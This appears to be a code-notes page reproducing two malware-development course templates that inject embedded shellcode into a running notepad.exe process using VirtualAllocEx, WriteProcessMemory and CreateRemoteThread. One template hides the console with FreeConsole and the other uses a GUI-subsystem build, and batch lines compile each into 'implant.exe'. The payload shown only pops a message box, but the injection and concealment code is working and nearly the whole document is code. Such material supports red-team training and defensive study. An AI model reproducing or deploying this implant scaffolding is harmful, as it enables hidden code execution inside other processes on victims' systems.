free console函数

/*
 Red Team Operator course code template
 Hinding console window with FreeConsole()
 author: reenz0h (twitter: @sektor7net)
*/
#include <windows.h>
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <tlhelp32.h>
unsigned char payload[] = {
  0xfc, 0x48, 0x81, 0xe4, 0xf0, 0xff, 0xff, 0xff, 0xe8, 0xd0, 0x00, 0x00,
  0x00, 0x41, 0x51, 0x41, 0x50, 0x52, 0x51, 0x56, 0x48, 0x31, 0xd2, 0x65,
  0x48, 0x8b, 0x52, 0x60, 0x3e, 0x48, 0x8b, 0x52, 0x18, 0x3e, 0x48, 0x8b,
  0x52, 0x20, 0x3e, 0x48, 0x8b, 0x72, 0x50, 0x3e, 0x48, 0x0f, 0xb7, 0x4a,
  0x4a, 0x4d, 0x31, 0xc9, 0x48, 0x31, 0xc0, 0xac, 0x3c, 0x61, 0x7c, 0x02,
  0x2c, 0x20, 0x41, 0xc1, 0xc9, 0x0d, 0x41, 0x01, 0xc1, 0xe2, 0xed, 0x52,
  0x41, 0x51, 0x3e, 0x48, 0x8b, 0x52, 0x20, 0x3e, 0x8b, 0x42, 0x3c, 0x48,
  0x01, 0xd0, 0x3e, 0x8b, 0x80, 0x88, 0x00, 0x00, 0x00, 0x48, 0x85, 0xc0,
  0x74, 0x6f, 0x48, 0x01, 0xd0, 0x50, 0x3e, 0x8b, 0x48, 0x18, 0x3e, 0x44,
  0x8b, 0x40, 0x20, 0x49, 0x01, 0xd0, 0xe3, 0x5c, 0x48, 0xff, 0xc9, 0x3e,
  0x41, 0x8b, 0x34, 0x88, 0x48, 0x01, 0xd6, 0x4d, 0x31, 0xc9, 0x48, 0x31,
  0xc0, 0xac, 0x41, 0xc1, 0xc9, 0x0d, 0x41, 0x01, 0xc1, 0x38, 0xe0, 0x75,
  0xf1, 0x3e, 0x4c, 0x03, 0x4c, 0x24, 0x08, 0x45, 0x39, 0xd1, 0x75, 0xd6,
  0x58, 0x3e, 0x44, 0x8b, 0x40, 0x24, 0x49, 0x01, 0xd0, 0x66, 0x3e, 0x41,
  0x8b, 0x0c, 0x48, 0x3e, 0x44, 0x8b, 0x40, 0x1c, 0x49, 0x01, 0xd0, 0x3e,
  0x41, 0x8b, 0x04, 0x88, 0x48, 0x01, 0xd0, 0x41, 0x58, 0x41, 0x58, 0x5e,
  0x59, 0x5a, 0x41, 0x58, 0x41, 0x59, 0x41, 0x5a, 0x48, 0x83, 0xec, 0x20,
  0x41, 0x52, 0xff, 0xe0, 0x58, 0x41, 0x59, 0x5a, 0x3e, 0x48, 0x8b, 0x12,
  0xe9, 0x49, 0xff, 0xff, 0xff, 0x5d, 0x49, 0xc7, 0xc1, 0x00, 0x00, 0x00,
  0x00, 0x3e, 0x48, 0x8d, 0x95, 0x1a, 0x01, 0x00, 0x00, 0x3e, 0x4c, 0x8d,
  0x85, 0x35, 0x01, 0x00, 0x00, 0x48, 0x31, 0xc9, 0x41, 0xba, 0x45, 0x83,
  0x56, 0x07, 0xff, 0xd5, 0xbb, 0xe0, 0x1d, 0x2a, 0x0a, 0x41, 0xba, 0xa6,
  0x95, 0xbd, 0x9d, 0xff, 0xd5, 0x48, 0x83, 0xc4, 0x28, 0x3c, 0x06, 0x7c,
  0x0a, 0x80, 0xfb, 0xe0, 0x75, 0x05, 0xbb, 0x47, 0x13, 0x72, 0x6f, 0x6a,
  0x00, 0x59, 0x41, 0x89, 0xda, 0xff, 0xd5, 0x48, 0x69, 0x20, 0x66, 0x72,
  0x6f, 0x6d, 0x20, 0x52, 0x65, 0x64, 0x20, 0x54, 0x65, 0x61, 0x6d, 0x20,
  0x4f, 0x70, 0x65, 0x72, 0x61, 0x74, 0x6f, 0x72, 0x21, 0x00, 0x52, 0x54,
  0x4f, 0x3a, 0x20, 0x4d, 0x61, 0x6c, 0x44, 0x65, 0x76, 0x00
};
unsigned int payload_len = 334;
int FindTarget(const char *procname) {
        HANDLE hProcSnap;
        PROCESSENTRY32 pe32;
        int pid = 0;
        hProcSnap = CreateToolhelp32Snapshot(TH32CS_SNAPPROCESS, 0);
        if (INVALID_HANDLE_VALUE == hProcSnap) return 0;
        pe32.dwSize = sizeof(PROCESSENTRY32); 
        if (!Process32First(hProcSnap, &pe32)) {
                CloseHandle(hProcSnap);
                return 0;
        }
        while (Process32Next(hProcSnap, &pe32)) {
                if (lstrcmpiA(procname, pe32.szExeFile) == 0) {
                        pid = pe32.th32ProcessID;
                        break;
                }
        }
        CloseHandle(hProcSnap);
        return pid;
}
int Inject(HANDLE hProc, unsigned char * payload, unsigned int payload_len) {
        LPVOID pRemoteCode = NULL;
        HANDLE hThread = NULL;
        pRemoteCode = VirtualAllocEx(hProc, NULL, payload_len, MEM_COMMIT, PAGE_EXECUTE_READ);
        WriteProcessMemory(hProc, pRemoteCode, (PVOID)payload, (SIZE_T)payload_len, (SIZE_T *)NULL);
        hThread = CreateRemoteThread(hProc, NULL, 0, pRemoteCode, NULL, 0, NULL);
        if (hThread != NULL) {
                WaitForSingleObject(hThread, 500);
                CloseHandle(hThread);
                return 0;
        }
        return -1;
}
int main(void) {
    int pid = 0;
    HANDLE hProc = NULL;
    FreeConsole();
    pid = FindTarget("notepad.exe");
    if (pid) {
        //printf("Notepad.exe PID = %d\n", pid);
        // try to open target process
        hProc = OpenProcess( PROCESS_CREATE_THREAD | PROCESS_QUERY_INFORMATION | 
                        PROCESS_VM_OPERATION | PROCESS_VM_READ | PROCESS_VM_WRITE,
                        FALSE, (DWORD) pid);
        if (hProc != NULL) {
            Inject(hProc, payload, payload_len);
            CloseHandle(hProc);
        }
    }
    return 0;
}

@ECHO OFF
cl.exe /nologo /Ox /MT /W0 /GS- /DNDEBUG /Tcimplant.cpp /link /OUT:implant.exe /SUBSYSTEM:CONSOLE /MACHINE:x64

GUItrick

/*
 Red Team Operator course code template
 Hiding program window with GUI trick
 author: reenz0h (twitter: @sektor7net)
*/
#include <windows.h>
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <tlhelp32.h>
unsigned char payload[] = {
  0xfc, 0x48, 0x81, 0xe4, 0xf0, 0xff, 0xff, 0xff, 0xe8, 0xd0, 0x00, 0x00,
  0x00, 0x41, 0x51, 0x41, 0x50, 0x52, 0x51, 0x56, 0x48, 0x31, 0xd2, 0x65,
  0x48, 0x8b, 0x52, 0x60, 0x3e, 0x48, 0x8b, 0x52, 0x18, 0x3e, 0x48, 0x8b,
  0x52, 0x20, 0x3e, 0x48, 0x8b, 0x72, 0x50, 0x3e, 0x48, 0x0f, 0xb7, 0x4a,
  0x4a, 0x4d, 0x31, 0xc9, 0x48, 0x31, 0xc0, 0xac, 0x3c, 0x61, 0x7c, 0x02,
  0x2c, 0x20, 0x41, 0xc1, 0xc9, 0x0d, 0x41, 0x01, 0xc1, 0xe2, 0xed, 0x52,
  0x41, 0x51, 0x3e, 0x48, 0x8b, 0x52, 0x20, 0x3e, 0x8b, 0x42, 0x3c, 0x48,
  0x01, 0xd0, 0x3e, 0x8b, 0x80, 0x88, 0x00, 0x00, 0x00, 0x48, 0x85, 0xc0,
  0x74, 0x6f, 0x48, 0x01, 0xd0, 0x50, 0x3e, 0x8b, 0x48, 0x18, 0x3e, 0x44,
  0x8b, 0x40, 0x20, 0x49, 0x01, 0xd0, 0xe3, 0x5c, 0x48, 0xff, 0xc9, 0x3e,
  0x41, 0x8b, 0x34, 0x88, 0x48, 0x01, 0xd6, 0x4d, 0x31, 0xc9, 0x48, 0x31,
  0xc0, 0xac, 0x41, 0xc1, 0xc9, 0x0d, 0x41, 0x01, 0xc1, 0x38, 0xe0, 0x75,
  0xf1, 0x3e, 0x4c, 0x03, 0x4c, 0x24, 0x08, 0x45, 0x39, 0xd1, 0x75, 0xd6,
  0x58, 0x3e, 0x44, 0x8b, 0x40, 0x24, 0x49, 0x01, 0xd0, 0x66, 0x3e, 0x41,
  0x8b, 0x0c, 0x48, 0x3e, 0x44, 0x8b, 0x40, 0x1c, 0x49, 0x01, 0xd0, 0x3e,
  0x41, 0x8b, 0x04, 0x88, 0x48, 0x01, 0xd0, 0x41, 0x58, 0x41, 0x58, 0x5e,
  0x59, 0x5a, 0x41, 0x58, 0x41, 0x59, 0x41, 0x5a, 0x48, 0x83, 0xec, 0x20,
  0x41, 0x52, 0xff, 0xe0, 0x58, 0x41, 0x59, 0x5a, 0x3e, 0x48, 0x8b, 0x12,
  0xe9, 0x49, 0xff, 0xff, 0xff, 0x5d, 0x49, 0xc7, 0xc1, 0x00, 0x00, 0x00,
  0x00, 0x3e, 0x48, 0x8d, 0x95, 0x1a, 0x01, 0x00, 0x00, 0x3e, 0x4c, 0x8d,
  0x85, 0x35, 0x01, 0x00, 0x00, 0x48, 0x31, 0xc9, 0x41, 0xba, 0x45, 0x83,
  0x56, 0x07, 0xff, 0xd5, 0xbb, 0xe0, 0x1d, 0x2a, 0x0a, 0x41, 0xba, 0xa6,
  0x95, 0xbd, 0x9d, 0xff, 0xd5, 0x48, 0x83, 0xc4, 0x28, 0x3c, 0x06, 0x7c,
  0x0a, 0x80, 0xfb, 0xe0, 0x75, 0x05, 0xbb, 0x47, 0x13, 0x72, 0x6f, 0x6a,
  0x00, 0x59, 0x41, 0x89, 0xda, 0xff, 0xd5, 0x48, 0x69, 0x20, 0x66, 0x72,
  0x6f, 0x6d, 0x20, 0x52, 0x65, 0x64, 0x20, 0x54, 0x65, 0x61, 0x6d, 0x20,
  0x4f, 0x70, 0x65, 0x72, 0x61, 0x74, 0x6f, 0x72, 0x21, 0x00, 0x52, 0x54,
  0x4f, 0x3a, 0x20, 0x4d, 0x61, 0x6c, 0x44, 0x65, 0x76, 0x00
};
unsigned int payload_len = 334;
int FindTarget(const char *procname) {
        HANDLE hProcSnap;
        PROCESSENTRY32 pe32;
        int pid = 0;
        hProcSnap = CreateToolhelp32Snapshot(TH32CS_SNAPPROCESS, 0);
        if (INVALID_HANDLE_VALUE == hProcSnap) return 0;
        pe32.dwSize = sizeof(PROCESSENTRY32); 
        if (!Process32First(hProcSnap, &pe32)) {
                CloseHandle(hProcSnap);
                return 0;
        }
        while (Process32Next(hProcSnap, &pe32)) {
                if (lstrcmpiA(procname, pe32.szExeFile) == 0) {
                        pid = pe32.th32ProcessID;
                        break;
                }
        }
        CloseHandle(hProcSnap);
        return pid;
}
int Inject(HANDLE hProc, unsigned char * payload, unsigned int payload_len) {
        LPVOID pRemoteCode = NULL;
        HANDLE hThread = NULL;
        pRemoteCode = VirtualAllocEx(hProc, NULL, payload_len, MEM_COMMIT, PAGE_EXECUTE_READ);
        WriteProcessMemory(hProc, pRemoteCode, (PVOID) payload, (SIZE_T) payload_len, (SIZE_T *) NULL);
        hThread = CreateRemoteThread(hProc, NULL, 0, pRemoteCode, NULL, 0, NULL);
        if (hThread != NULL) {
                WaitForSingleObject(hThread, 500);
                CloseHandle(hThread);
                return 0;
        }
        return -1;
}
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, 
    LPSTR lpCmdLine, int nCmdShow) {
    int pid = 0;
    HANDLE hProc = NULL;
    pid = FindTarget("notepad.exe");
    if (pid) {
        //printf("Notepad.exe PID = %d\n", pid);
        // try to open target process
        hProc = OpenProcess( PROCESS_CREATE_THREAD | PROCESS_QUERY_INFORMATION | 
                        PROCESS_VM_OPERATION | PROCESS_VM_READ | PROCESS_VM_WRITE,
                        FALSE, (DWORD) pid);
        if (hProc != NULL) {
            Inject(hProc, payload, payload_len);
            CloseHandle(hProc);
        }
    }
    return 0;
}

@ECHO OFF
cl.exe /nologo /Ox /MT /W0 /GS- /DNDEBUG /Tcimplant.cpp /link /OUT:implant.exe /SUBSYSTEM:WINDOWS /MACHINE:x64

二进制安全

HidingConsole

free console函数

GUItrick